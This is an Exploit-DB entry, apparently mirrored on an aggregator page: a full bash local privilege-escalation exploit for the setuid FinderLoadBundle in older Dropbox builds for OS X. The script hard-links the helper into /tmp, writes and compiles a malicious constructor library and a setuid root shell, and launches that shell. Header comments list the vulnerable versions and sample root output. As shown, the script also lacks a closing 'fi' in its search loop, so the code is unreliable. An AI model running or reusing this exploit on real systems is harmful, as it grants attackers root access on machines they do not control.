Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation

Exploit Database
110 阅读

作者： cenobyte

日期： 2015-09-30
类别：
- local
平台：
- osx
来源：https://www.exploit-db.com/exploits/38360/

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#!/bin/bash

# Exploit Title: Dropbox FinderLoadBundle OS X local root exploit

# Google Dork: N/A

# Date: 29/09/15

# Exploit Author: cenobyte

# Vendor Homepage: https://www.dropbox.com

# Software Link: N/A

# Version: Dropbox 1.5.6, 1.6-7.*, 2.1-11.*, 3.0.*, 3.1.*, 3.3.*

# Tested on: OS X Yosemite (10.10.5)

# CVE: N/A

#Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015

#<vincitamorpatriae@gmail.com>

# - vulnerability description:

# The setuid root FinderLoadBundle that was included in older DropboxHelperTools

# versions for OS X allows loading of dynamically linked shared libraries

# that are residing in the same directory. The directory in which

# FinderLoadBundle is located is owned by root and that prevents placing

# arbitrary files there. But creating a hard link from FinderLoadBundle to

# somewhere in a directory in /tmp circumvents that protection thus making it

# possible to load a shared library containing a payload which creates a root

# shell.

# - vulnerable versions: | versions not vulnerable:

# Dropbox 3.3.* for Mac| Dropbox 3.10.* for Mac

# Dropbox 3.1.* for Mac| Dropbox 3.9.* for Mac

# Dropbox 3.0.* for Mac| Dropbox 3.8.* for Mac

# Dropbox 2.11.* for Mac | Dropbox 3.7.* for Mac

# Dropbox 2.10.* for Mac | Dropbox 3.6.* for Mac

# Dropbox 2.9.* for Mac| Dropbox 3.5.* for Mac

# Dropbox 2.8.* for Mac| Dropbox 3.4.* for Mac

# Dropbox 2.7.* for Mac| Dropbox 3.2.* for Mac

# Dropbox 2.6.* for Mac| Dropbox 1.5.1-5 for Mac

# Dropbox 2.5.* for Mac| Dropbox 1.4.* for Mac

# Dropbox 2.4.* for Mac| Dropbox 1.3.* for Mac

# Dropbox 2.3.* for Mac|

# Dropbox 2.2.* for Mac|

# Dropbox 2.1.* for Mac|

# Dropbox 1.7.* for Mac|

# Dropbox 1.6.* for Mac|

# Dropbox 1.5.6 for Mac|

# The vulnerability was fixed in newer DropboxHelperTools versions as of 3.4.*.

# However, there is no mention of this issue at the Dropbox release notes:

# https://www.dropbox.com/release_notes

# It seems that one of the fixes implemented in FinderLoadBundle is a

# check whether the path of the bundle is a root owned directory making it

# impossible to load arbitrary shared libraries as a non-privileged user.

# I am not sure how to find the exact version of the FinderLoadBundle executable

# but the included Info.plist contained the following key:

# <key>CFBundleShortVersionString</key>

# This key is no longer present in the plist file of the latest version. So I

# included a basic vulnerable version checker that checks for the presence of

# this key.

# - exploit details:

# I wrote this on OS X Yosemite (10.10.5) but there are no OS specific features

# used. This exploit relies on Xcode for the shared library + root shell to be

# compiled. After successful exploitation a root shell is left in a directory in

# /tmp so make sure you delete it on your own system when you are done testing.

# - example:

# $ ./dropboxfinderloadbundle.sh

# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015

# [-] creating temporary directory: /tmp/c7a15893fc1b28d31071c16c6663cbf3

# [-] linking /Library/DropboxHelperTools/Dropbox_u501/FinderLoadBundle

# [-] constructing bundle

# [-] creating /tmp/c7a15893fc1b28d31071c16c6663cbf3/boomsh.c

# [-] compiling root shell

# [-] executing FinderLoadBundle using root shell payload

# [-] entering root shell

# bash-3.2# id -P

# root:********:0:0::0:0:System Administrator:/var/root:/bin/sh

readonly __progname=$(basename $0)

errx() {

echo "$__progname: $@" >&2

exit 1

}

main() {

local -r tmp=$(head -10 /dev/urandom | md5)

local -r helpertools="/Library/DropboxHelperTools"

local -r bundle="/tmp/$tmp/mach_inject_bundle_stub.bundle/Contents/MacOS"

local -r bundletarget="$bundle/mach_inject_bundle_stub"

local -r bundlesrc="${bundletarget}.c"

local -r sh="/tmp/$tmp/boomsh"

local -r shsrc="${sh}.c"

local -r cfversion="CFBundleShortVersionString"

local -r findbin="FinderLoadBundle"

echo "Dropbox $findbin OS X local root exploit by cenobyte 2015"

echo

uname -v | grep -q ^Darwin || \

errx "this Dropbox exploit only works on OS X"

[ ! -d "$helpertools" ] && \

errx "$helpertools does not exist"

which -s gcc || \

errx "gcc not found"

found=0

for finder in $(ls $helpertools/Dropbox_u*/$findbin); do

stat -s "$finder" | grep -q "st_mode=0104"

if [ $? -eq 0 ]; then

found=1

break

done

[ $found -ne 1 ] && \

errx "couldn't find a setuid root $findbin"

local -r finderdir=$(dirname $finder)

local -r plist="${finderdir}/DropboxBundle.bundle/Contents/Info.plist"

[ -f "$plist" ] || \

errx "FinderLoadBundle not vulnerable (cannot open $plist)"

grep -q "<key>$cfversion</key>" "$plist" || \

errx "FinderLoadBundle not vulnerable (plist missing $cfversion)"

echo "[-] creating temporary directory: /tmp/$tmp"

mkdir /tmp/$tmp || \

errx "couldn't create /tmp/$tmp"

echo "[-] linking $finder"

ln "$finder" "/tmp/$tmp/$findbin" || \

errx "ln $finder /tmp/$tmp/$findbin failed"

echo "[-] constructing bundle"

mkdir -p "$bundle" || \

errx "cannot create $bundle"

echo "#include <sys/stat.h>" > "$bundlesrc"

echo "#include <sys/types.h>" >> "$bundlesrc"

echo "#include <stdlib.h>" >> "$bundlesrc"

echo "#include <unistd.h>" >> "$bundlesrc"

echo "extern void init(void) __attribute__ ((constructor));" >> "$bundlesrc"

echo "void init(void)" >> "$bundlesrc"

echo "{" >> "$bundlesrc"

echo " setuid(0);" >> "$bundlesrc"

echo " setgid(0);" >> "$bundlesrc"

echo " chown(\"$sh\", 0, 0);" >> "$bundlesrc"

echo " chmod(\"$sh\", S_ISUID|S_IRWXU|S_IXGRP|S_IXOTH);" >> "$bundlesrc"

echo "}" >> "$bundlesrc"

echo "[-] creating $shsrc"

echo "#include <unistd.h>" > "$shsrc"

echo "#include <stdio.h>" >> "$shsrc"

echo "#include <stdlib.h>" >> "$shsrc"

echo "int" >> "$shsrc"

echo "main()" >> "$shsrc"

echo "{" >> "$shsrc"

echo " setuid(0);" >> "$shsrc"

echo " setgid(0);" >> "$shsrc"

echo " system(\"/bin/bash\");" >> "$shsrc"

echo " return(0);" >> "$shsrc"

echo "}" >> "$shsrc"

echo "[-] compiling root shell"

gcc "$shsrc" -o "$sh" || \

errx "gcc failed for $shsrc"

gcc -dynamiclib -o "$bundletarget" "$bundlesrc" || \

errx "gcc failed for $bundlesrc"

echo "[-] executing $findbin using root shell payload"

cd "/tmp/$tmp"

./$findbin mach_inject_bundle_stub.bundle 2>/dev/null 1>/dev/null

[ $? -ne 4 ] && \

errx "exploit failed, $findbin seems not vulnerable"

[ ! -f "$sh" ] && \

errx "$sh was not created, exploit failed"

stat -s "$sh" | grep -q "st_mode=0104" || \

errx "$sh was not set to setuid root, exploit failed"

echo "[-] entering root shell"

"$sh"

}

main "$@"

exit 0